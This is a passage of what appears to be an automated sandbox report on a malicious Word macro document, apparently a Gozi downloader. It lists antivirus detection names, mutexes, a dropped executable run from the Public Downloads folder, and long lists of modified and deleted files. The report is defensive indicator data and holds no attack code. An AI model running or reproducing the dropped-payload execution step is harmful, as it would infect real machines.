  829. "Details": [
  830. {
  831. "Baidu": "VBA.Trojan-Downloader.Agent.dsn"
  832. },
  833. {
  834. "ESET-NOD32": "a variant of VBA/TrojanDownloader.Agent.ODV"
  835. },
  836. {
  837. "Avast": "VBA:Downloader-BDZ [Trj]"
  838. },
  839. {
  840. "NANO-Antivirus": "Trojan.Ole2.Vbs-heuristic.druvzi"
  841. },
  842. {
  843. "Rising": "Trojan.Obfus/VBA!1.A609 (CLASSIC)"
  844. },
  845. {
  846. "Fortinet": "VBA/Agent.HZITYVS!tr"
  847. },
  848. {
  849. "SentinelOne": "DFI - Malicious OPENXML"
  850. },
  851. {
  852. "Endgame": "malicious (high confidence)"
  853. },
  854. {
  855. "Microsoft": "TrojanDownloader:O97M/Donoff"
  856. },
  857. {
  858. "TACHYON": "Suspicious/WOX.Obfus.Gen.1"
  859. },
  860. {
  861. "Zoner": "Probably W97Obfuscated"
  862. },
  863. {
  864. "Tencent": "Heur.Macro.Generic.Gen.a"
  865. },
  866. {
  867. "AVG": "VBA:Downloader-BDZ [Trj]"
  868. },
  869. {
  870. "Qihoo-360": "heur.macro.gen.aa"
  871. }
  872. ]
  873. }
  874. ]
  875.  
  876. [*] Started Service: [
  877. "osppsvc"
  878. ]
  879.  
  880. [*] Executed Commands: [
  881. "\"C:\\Users\\Public\\Downloads\\fefjuSf.exe\""
  882. ]
  883.  
  884. [*] Mutexes: [
  885. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  886. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  887. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  888. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  889. "CicLoadWinStaWinSta0",
  890. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  891. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  892. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  893. "Local\\{F99C425F-9135-43ed-BD7D-396DE488DC53}"
  894. ]
  895.  
  896. [*] Modified Files: [
  897. "C:\\Users\\user\\AppData\\Local\\Temp\\Gozi_f77a7126c16e9c1ce83a0b2c824d7b7a.php",
  898. "C:\\Users\\user\\AppData\\Local\\Temp\\~$zi_f77a7126c16e9c1ce83a0b2c824d7b7a.php",
  899. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  900. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{52F9E308-D45A-4420-817C-19E6331BA6A9}.tmp",
  901. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{B70E099B-142A-4FF5-8065-BBE6C3CCEF31}.tmp",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\~DF88E6540B92AF506F.TMP",
  903. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  904. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\VBE\\MSForms.exd",
  906. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  907. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF3D.tmp",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF3E.tmp",
  910. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  911. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFB68C0033C32FB7E2.TMP",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\~DFE9453F2E4263D426.TMP",
  913. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
  914. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab17CB.tmp",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar17DC.tmp",
  917. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015",
  918. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1ACB.tmp",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1ACC.tmp",
  921. "C:\\Users\\Public\\Downloads\\fefjuSf.exe",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4075.tmp",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40A5.tmp",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40A6.tmp",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40B7.tmp",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40D7.tmp",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40D8.tmp",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40E9.tmp",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EB.tmp",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EA.tmp",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40EC.tmp",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40FC.tmp",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\cab40FD.tmp",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\cab411F.tmp",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\cab410E.tmp",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\cab411E.tmp",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4131.tmp",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4132.tmp",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4133.tmp",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4130.tmp",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4163.tmp",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4175.tmp",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4174.tmp",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41C5.tmp",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41E5.tmp",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\cab41C4.tmp",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4215.tmp",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\cab42D1.tmp",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\cab443B.tmp",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\cab442A.tmp",
  951. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\cab445B.tmp",
  953. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\cab44E9.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4595.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\cab45E5.tmp",
  957. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  958. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4691.tmp",
  960. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  961. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD47FA.tmp\\InterconnectedBlockProcess.glox",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD47FA.tmp\\Content.inf",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD481B.tmp\\ConvergingText.glox",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD481B.tmp\\Content.inf",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD482C.tmp\\pictureorgchart.glox",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD480A.tmp\\content.inf",
  968. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD484C.tmp\\sist02.xsl",
  970. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox",
  971. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD482C.tmp\\Content.inf",
  972. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DF.tmp\\Equations.dotx",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD480A.tmp\\Metropolitan.thmx",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488B.tmp\\architecture.glox",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489D.tmp\\RadialPictureList.glox",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489E.tmp\\Banded.thmx",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DE.tmp\\chevronaccent.glox",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489C.tmp\\gb.xsl",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD496D.tmp\\iso690nmerical.xsl",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DF.tmp\\Content.inf",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49BD.tmp",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD484C.tmp\\Content.inf",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49DF.tmp",
  984. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD488B.tmp\\Content.inf",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\cab49BC.tmp",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48EF.tmp\\CircleProcess.glox",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48DE.tmp\\Content.inf",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4A6C.tmp",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489D.tmp\\Content.inf",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489E.tmp\\content.inf",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49DE.tmp\\ThemePictureAccent.glox",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD48EF.tmp\\Content.inf",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD489C.tmp\\Content.inf",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD49DE.tmp\\Content.inf",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD496D.tmp\\Content.inf",
  996. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4B19.tmp\\VaryingWidthList.glox",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4BA7.tmp",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4B19.tmp\\Content.inf",
  999. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox",
  1000. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CA4.tmp\\ThemePictureAlternatingAccent.glox",
  1002. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227[[fn=sist02]].xsl",
  1003. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C55.tmp\\iso690.xsl",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CA4.tmp\\Content.inf",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CD4.tmp\\BracketList.glox",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BC7.tmp\\turabian.xsl",
  1008. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4CD4.tmp\\Content.inf",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4C55.tmp\\Content.inf",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D23.tmp\\Basis.thmx",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4BC7.tmp\\Content.inf",
  1013. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\cab4E9B.tmp",
  1015. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox",
  1016. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224[[fn=iso690nmerical]].xsl",
  1017. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4D23.tmp\\content.inf",
  1019. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx",
  1020. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218[[fn=gb]].xsl",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ECB.tmp\\gostname.xsl",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F99.tmp\\HexagonRadial.glox",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4FC9.tmp\\APASixthEditionOfficeOnline.xsl",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F68.tmp\\chicago.xsl",
  1025. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5028.tmp\\content.inf",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5008.tmp\\Headlines.thmx",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F69.tmp\\ieee2006officeonline.xsl",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F99.tmp\\Content.inf",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223[[fn=iso690]].xsl",
  1031. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4FC9.tmp\\Content.inf",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5058.tmp\\TabbedArc.glox",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4ECB.tmp\\Content.inf",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5058.tmp\\Content.inf",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5028.tmp\\Parallax.thmx",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F68.tmp\\Content.inf",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D8.tmp\\Berlin.thmx",
  1039. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226[[fn=turabian]].xsl",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5078.tmp\\TabList.glox",
  1041. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5127.tmp\\mlaseventheditionofficeonline.xsl",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D7.tmp\\PictureFrame.glox",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5186.tmp\\Badge.thmx",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5008.tmp\\Content.inf",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5078.tmp\\Content.inf",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD4F69.tmp\\Content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D7.tmp\\Content.inf",
  1049. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907[[fn=Equations]].dotx",
  1050. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5186.tmp\\Content.inf",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD51E5.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1053. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5127.tmp\\Content.inf",
  1055. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216[[fn=apasixtheditionofficeonline]].xsl",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD50D8.tmp\\content.inf",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5428.tmp",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD51E5.tmp\\Content.inf",
  1060. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217[[fn=chicago]].xsl",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox",
  1062. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox",
  1063. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx",
  1064. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219[[fn=gostname]].xsl",
  1065. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222[[fn=ieee2006officeonline]].xsl",
  1066. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox",
  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx",
  1068. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225[[fn=mlaseventheditionofficeonline]].xsl",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55CF.tmp",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\cab55DF.tmp",
  1071. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD561F.tmp\\content.inf",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD561F.tmp\\Quotable.thmx",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD56AD.tmp\\content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD56AD.tmp\\Wood_Type.thmx",
  1076. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx",
  1077. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A8.tmp\\content.inf",
  1079. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD57A8.tmp\\Savon.thmx",
  1080. "C:\\Users\\user\\AppData\\Local\\Temp\\cab57F7.tmp",
  1081. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx",
  1082. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5846.tmp\\content.inf",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5846.tmp\\Damask.thmx",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5941.tmp\\content.inf",
  1086. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5941.tmp\\Droplet.thmx",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  1088. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE8.tmp\\content.inf",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5AE8.tmp\\Mesh.thmx",
  1092. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5C12.tmp",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C70.tmp\\ThemePictureGrid.glox",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5C70.tmp\\Content.inf",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CBF.tmp\\Feathered.thmx",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox",
  1098. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5CBF.tmp\\Content.inf",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\cab5DCA.tmp",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E58.tmp\\content.inf",
  1102. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5E58.tmp\\Slate.thmx",
  1103. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F91.tmp\\harvardanglia2008officeonline.xsl",
  1105. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD5F91.tmp\\Content.inf",
  1106. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851221[[fn=harvardanglia2008officeonline]].xsl",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FA.tmp\\rings.glox",
  1108. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD60FA.tmp\\Content.inf",
  1109. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6197.tmp\\gosttitle.xsl",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD6197.tmp\\Content.inf",
  1112. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220[[fn=gosttitle]].xsl",
  1113. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\CD0EA35A.jpeg",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1115. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{00DBD61E-D4B5-48F3-8121-2F7C79C6BFD2}.tmp"
  1116. ]
  1117.  
  1118. [*] Deleted Files: [
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\CabF3D.tmp",
  1120. "C:\\Users\\user\\AppData\\Local\\Temp\\TarF3E.tmp",
  1121. "C:\\Users\\user\\Application Data\\Microsoft\\Forms\\WINWORD.box",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab17CB.tmp",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar17DC.tmp",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab1ACB.tmp",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar1ACC.tmp",
  1126. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457475[[fn=Frame]].eftx",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457515[[fn=View]].eftx",
  1130. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457464[[fn=Dividend]].eftx",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033937[[fn=Vapor Trail]].eftx",
  1132. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001105[[fn=Crop]].eftx",
